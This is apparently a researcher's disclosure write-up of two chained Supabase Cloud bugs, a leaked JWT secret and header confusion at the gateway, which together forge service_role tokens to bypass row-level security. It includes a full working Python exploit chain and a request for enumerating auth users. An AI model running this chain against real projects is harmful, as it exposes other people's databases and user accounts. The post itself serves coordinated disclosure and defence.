Forging service_role From an Anon Key: Chaining Two Supabase Bugs Into a CVSS 10.0 RLS Bypass
In January 2026, while working on supascan (an open-source security scanner for Supabase), I found two vulnerabilities in the Supabase Cloud platform that chain together to escalate a public anon key into service_role access on affected projects. The first bug leaks the JWT signing secret through an unauthenticated admin endpoint. The second exploits a header forwarding gap between the API gateway and PostgREST to use a forged token. Combined, they allow full RLS bypass on projects running older PostgREST versions that hadn’t been upgraded.
This affected a subset of Supabase Cloud customers, specifically those on older deployments where the PostgREST /config endpoint was still exposed. Newer projects and self-hosted instances were not vulnerable. Supabase responded quickly, deploying a network-level block within 48 hours and completing a full patch shortly after. The report was closed as resolved on February 6, 2026.
See also: Three Ways to Introspect a Supabase Database Schema, which covers how supascan discovers tables and RPC functions.
Background
Supabase routes API traffic through an API gateway that validates the apikey header, determines the caller’s role, and proxies the request to the appropriate backend. PostgREST handles database queries, GoTrue handles auth, and so on.
A note on the gateway: the open-source self-hosted Supabase uses Kong as its API gateway. The hosted Supabase Cloud platform uses a different gateway (based on Cloudflare Workers). When I initially reported this vulnerability, I assumed the hosted platform also used Kong, since the route definitions I found came from the Supabase CLI’s Kong configuration template. Supabase later clarified that the hosted platform does not use Kong, though the same /rest-admin/v1/ route existed in their production gateway with the same missing authentication. The exploit works the same way regardless of the specific gateway software.
Every Supabase project has two keys:
anonkey: public, shipped in the frontend. Maps to theanonPostgres role. RLS policies restrict what it can access.service_rolekey: secret, server-side only. Bypasses RLS entirely.
Both keys are JWTs signed with a shared secret. The security model depends on two things:
- The JWT signing secret stays internal.
- The gateway controls which role a request acts as.
Both of these turned out to be breakable on affected deployments.
How I Got Here: Schema Introspection Research
I was building supascan to audit Supabase projects for misconfigurations (exposed data, weak RLS policies, etc.). For that, supascan needs to discover what tables and columns exist. Supabase doesn’t have a dedicated public schema introspection API, so I was reading through PostgREST source code and the Supabase gateway configuration to understand what endpoints were available.
While going through the route definitions in the Supabase CLI’s Kong template, I found /rest-admin/v1/, a route that proxies to PostgREST’s admin server on port 3001. The admin server exposes several endpoints, including /schema_cache, which returns the full schema cache as JSON. This was useful for supascan, and I implemented a schema introspection method using it.
But the admin server had other endpoints too.
Finding the /config Endpoint
While exploring /rest-admin/v1/ further, I was working with Claude on the PostgREST codebase and it mentioned a /config endpoint on the admin server. I went to check the source.
Here’s the admin handler from src/PostgREST/Admin.hs (v12.2.11, before the fix):
admin :: AppState.AppState -> Wai.Applicationadmin appState req respond = do -- ... case Wai.pathInfo req of ["live"] -> respond $ Wai.responseLBS (if isMainAppReachable then HTTP.status200 else HTTP.status500) [] mempty ["ready"] -> -- readiness check ... ["config"] -> do config <- AppState.getConfig appState respond $ Wai.responseLBS HTTP.status200 [] (LBS.fromStrict $ encodeUtf8 $ Config.toText config) ["schema_cache"] -> do sCache <- AppState.getSchemaCache appState respond $ Wai.responseLBS HTTP.status200 [] (maybe mempty JSON.encode sCache) -- ...The /config handler calls Config.toText config and returns the full PostgREST configuration as plain text. No authentication, no authorization. If you can reach the admin port, you get everything.
Here’s what the response looks like:
db-anon-role = "anon"db-extra-search-path = "public"db-max-rows = ""db-pool = 10db-schemas = "public"db-uri = "postgres://authenticator:password@db:5432/postgres"jwt-aud = ""jwt-role-claim-key = ".\"role\""jwt-secret = "{\"keys\":[{\"kty\":\"oct\",\"k\":\"cBVqb-3Qui6DDodkcuhoLn...\",\"kid\":\"demo-key-001\"}]}"jwt-secret-is-base64 = falselog-level = "error"openapi-mode = "follow-privileges"server-host = "!4"server-port = 3000admin-server-port = 3001The jwt-secret line contains the full JWK used to sign and verify all tokens. The db-uri contains database credentials. Everything is in plain text.
When I checked the current PostgREST source on GitHub, this endpoint had already been gated. Commit 1f28efa introduced admin-server-config-enabled, defaulting to false. On current versions, /config returns 404 unless explicitly enabled.
I assumed this meant the endpoint was no longer accessible. But when I tested it against my own Supabase Cloud project (one I’d been using for over a year), it returned 200 with the full config.
r = requests.get( f"{URL}/rest-admin/v1/config", headers={"apikey": ANON_KEY})# Status: 200# jwt-secret = {"keys":[{"kty":"oct","k":"<base64-secret>","kid":"..."}]}A fresh Supabase project returned 404. The fix was deployed on newer PostgREST versions, but older projects (those created before the fix that hadn’t gone through a major database version upgrade) were still running the vulnerable version.
Why the Admin Endpoint Was Reachable
PostgREST’s admin server runs on port 3001, separate from the main API on port 3000. It should be internal. But Supabase’s gateway configuration proxied it to the public internet at /rest-admin/v1/.
I initially found this route in the Supabase CLI’s Kong configuration template (internal/start/templates/kong.yml):
- name: rest-admin-v1 _comment: "PostgREST: /rest-admin/v1/* -> http://rest:3001/*" url: http://{{ .RestId }}:3001/ routes: - name: rest-admin-v1-all strip_path: true paths: - /rest-admin/v1/ plugins: - name: cors # TODO: validate apikeyThe # TODO: validate apikey comment tells the story. The main API route (rest-v1) has proper authentication plugins. The admin route has only CORS, with no API key validation.
I assumed this same Kong config was used on the hosted platform. Supabase later clarified that their Cloud platform uses a custom API gateway built on Cloudflare Workers, not Kong. However, the equivalent route existed in their production gateway with the same lack of authentication on the admin path. The self-hosted Docker Kong config (docker/volumes/api/kong.yml) does not define a rest-admin route at all, which is why self-hosted instances were not affected.
Validating Scope
To get a sense of how widespread this was, I tested against a project I knew was on an older deployment. Supabase’s own website uses Supabase, and their anon key and project URL are in their frontend JavaScript bundle (which is expected, since anon keys are designed to be public).
I tested /rest-admin/v1/config against Supabase’s own project. It returned the full configuration, including the JWT signing secret.
The Failed First Attempt
With the JWT secret, forging a service_role token is straightforward:
from jose import jwtimport base64, json, time
jwk = json.loads(jwt_secret_str)["keys"][0]secret_key = base64.urlsafe_b64decode(jwk["k"] + "==")
forged_jwt = jwt.encode( { "role": "service_role", "iss": "supabase", "iat": int(time.time()), "exp": int(time.time()) + 3600, }, secret_key, algorithm="HS256", headers={"kid": jwk["kid"]})I had a cryptographically valid JWT with "role": "service_role". But using it as the apikey header didn’t work. The gateway rejected it.
This makes sense once you understand how API key validation works. Taking Kong’s key-auth plugin as an example (since the open-source code is available), the validation is a static credential lookup, not JWT validation.
From kong/plugins/key-auth/handler.lua:
local function do_authentication(conf) local headers = kong.request.get_headers() local key
-- Searches ONLY the configured key_names (default: ["apikey"]) for _, name in ipairs(conf.key_names) do local v if conf.key_in_header then v = headers[name] end if type(v) == "string" then key = v break end end
-- Looks up the key in the credential store, exact string match local credential_cache_key = kong.db.keyauth_credentials:cache_key(key) local credential, err = cache:get(credential_cache_key, { resurrect_ttl = 0.001 }, load_credential, key)Where load_credential is just a database query:
local function load_credential(key) local cred, err = kong.db.keyauth_credentials:select_by_key(key) return credendThe gateway treats API keys as opaque strings. It doesn’t decode JWTs. It checks if the exact string exists in its credential store. The registered anon and service_role keys happen to be JWTs, but the gateway doesn’t know or care about that. My forged JWT wasn’t registered, so it was rejected.
Supabase’s production gateway (Cloudflare Workers) behaves similarly. The apikey header is validated against registered keys. A forged JWT with the right claims but an unregistered key string won’t pass.
At this point I had a valid service_role JWT that PostgREST would accept, but no way to get it past the gateway.
Two Headers, Two Systems
The forged JWT was valid for PostgREST but not for the gateway. The anon key was valid for the gateway but mapped to the wrong role in PostgREST. The question was whether I could satisfy both at the same time.
The gateway and PostgREST authenticate requests using different headers. The gateway reads apikey. PostgREST reads Authorization: Bearer. These are independent authentication mechanisms operating on different parts of the same HTTP request.
The gateway only inspects the apikey header (or whatever key names are configured). It does not read, validate, or strip the Authorization header. Whatever you put in Authorization gets forwarded to PostgREST as-is.
PostgREST reads Authorization: Bearer to extract the JWT for role resolution. From src/PostgREST/Auth.hs:
middleware :: AppState -> Wai.Middlewaremiddleware appState app req respond = do conf <- getConfig appState time <- getTime appState
let token = Wai.extractBearerAuth =<< lookup HTTP.hAuthorization (Wai.requestHeaders req) let parseJwt = runExceptT $ lookupJwtCache jwtCacheState token >>= parseClaims conf time -- ...And the role extraction from src/PostgREST/Auth/Jwt.hs:
parseClaims :: AppConfig -> UTCTime -> JSON.Object -> m AuthResultparseClaims AppConfig{configJwtRoleClaimKey, configDbAnonRole} time mclaims = do validateClaims time mclaims role <- liftEither . maybeToRight (JwtErr JwtTokenRequired) $ unquoted <$> walkJSPath (Just $ JSON.Object mclaims) configJwtRoleClaimKey <|> configDbAnonRole pure AuthResult { authClaims = mclaims, authRole = role }PostgREST validates the JWT signature (which passes, since we used the real secret) and reads "role": "service_role" from the claims.
So the request that chains it:
r = requests.get( f"{URL}/rest/v1/secrets?select=*", headers={ "apikey": ANON_KEY, # Gateway validates this "Authorization": f"Bearer {forged_jwt}", # PostgREST uses this },)- The gateway sees the
apikeyheader, validates it against registered keys, finds the anon key, and lets the request through. - The gateway forwards the full request to PostgREST, including the
Authorizationheader it never inspected. - PostgREST reads
Authorization: Bearer, extracts the JWT, validates the signature, and sets the session role toservice_role.
The gateway thinks the caller is anon. PostgREST thinks the caller is service_role. PostgREST executes the query. RLS is bypassed.
The Full Chain
The complete exploit, from anon key to service_role access, in three HTTP requests:
#!/usr/bin/env python3import requests, base64, json, timefrom jose import jwt
URL = "https://<project>.supabase.co"APIKEY = "<anon-key>" # Public key from the frontend bundle
# Step 1: Leak the JWT secret via the unauthenticated admin endpointr = requests.get(f"{URL}/rest-admin/v1/config", headers={"apikey": APIKEY})jwk = json.loads( r.text.split("jwt-secret = ")[1].split("\n")[0] .strip('"').replace('\\"', '"'))["keys"][0]secret = base64.urlsafe_b64decode(jwk["k"] + "==")
# Step 2: Forge a service_role JWTforged = jwt.encode( { "role": "service_role", "iss": "supabase", "iat": int(time.time()), "exp": int(time.time()) + 3600, }, secret, algorithm="HS256", headers={"kid": jwk["kid"]},)
# Step 3: Send both headersr = requests.get( f"{URL}/rest/v1/<any_table>?select=*", headers={ "apikey": APIKEY, "Authorization": f"Bearer {forged}", },)print(r.json())Impact
With service_role access on an affected project, an attacker could:
- Read any table regardless of RLS policies
- List all auth users via
/auth/v1/admin/users - Read the OpenAPI spec even on projects using publishable keys that normally block it
- Write, update, or delete anything PostgREST can touch
- Access storage buckets with elevated permissions
I verified this against a Supabase Cloud project with the owner’s explicit permission. RLS was enabled on all tables, and the anon key couldn’t normally access anything:
$ python3 poc.pyLeaked secret: 88 bytesJWT: eyJhbGciOiJIUzI1NiIsImtpZCI6IjJNUlZvOCtTOXlCWHk2TXUiLCJ0eXAi...Status: 200The auth admin endpoint was also accessible through the same dual-header approach:
r = requests.get( f"{URL}/auth/v1/admin/users?page=1&per_page=3", headers={"apikey": APIKEY, "Authorization": f"Bearer {forged_jwt}"},)The Disagree Problem
Neither bug is critical on its own. An unauthenticated config endpoint is bad, but limited if the leaked secret can’t be weaponized. A header forwarding gap is subtle, but harmless without a forged token. The chain is what makes it severe.
The underlying issue is a disagreement between two components about what “authenticated” means. The gateway checks the API key and decides if the request is allowed. PostgREST reads the JWT and decides what role to use. Two systems, two different ideas about which header is authoritative.
When they agree, everything works. When they disagree, the more permissive interpretation wins.
Affected Scope
CVSS: 10.0 on affected projects. Network-accessible, no authentication beyond public keys, complete confidentiality and integrity impact.
Affected:
- Supabase Cloud projects on older deployments where the PostgREST
/configendpoint was still exposed. These were projects created before the PostgREST fix that hadn’t gone through a major database version upgrade. - Long-standing customers were disproportionately impacted, since newer projects shipped with the patched PostgREST version.
Not affected:
- Projects on newer Supabase deployments where
/configwas already disabled. - Self-hosted Supabase instances. The open-source Docker Kong config does not expose the rest-admin route. The vulnerable route existed in the Supabase CLI template (for local development) and in the hosted platform’s Cloudflare Workers gateway.
The header forwarding behavior exists regardless of version, but it’s only exploitable if the JWT secret can be obtained through the first bug or other means.
Root Cause
Two independent issues:
-
Missing authentication on the rest-admin route. The gateway configuration for
/rest-admin/v1/had no authentication. Any valid API key (including the public anon key) could reach PostgREST’s admin endpoints, and/configreturned the JWT signing secret in plain text. -
The gateway forwards the
Authorizationheader without inspection. When a request includes bothapikeyandAuthorizationheaders, the gateway validates the API key but passesAuthorizationthrough to PostgREST unchanged. PostgREST usesAuthorization: Bearerfor role resolution, creating a privilege escalation that bypasses the gateway’s access control.
Recommended Fixes
I suggested three mitigations in my report:
- Block
/configimmediately with a WAF or network-level rule. Supabase deployed this within 48 hours. - Add authentication to rest-admin routes. The missing auth needs to become actual enforcement.
- Prevent header confusion. Either reject requests with both
apikeyandAuthorization, or strip one before forwarding.
Supabase completed all corrective actions on the hosted platform. JWT keys are also being deprecated in favor of newer authentication mechanisms.
Timeline
| Date | Event |
|---|---|
| January 16, 2026 | Discovered and reported to Supabase via HackerOne |
| January 16, 2026 | Submitted additional PoCs (auth user enumeration, Supabase’s own project) |
| January 18, 2026 | Triaged by Supabase security team |
| January 18, 2026 | Network-level block deployed on /config |
| January 26, 2026 | Followed up on patch progress; flagged potential impact on third-party vendors hosting Supabase |
| January 29, 2026 | Supabase clarified: hosted platform does not use Kong; self-hosted instances not vulnerable |
| ~Late January 2026 | Full patch rolled out to affected hosted projects |
| February 6, 2026 | Report closed as resolved |
If you have questions or want to discuss, feel free to reach out.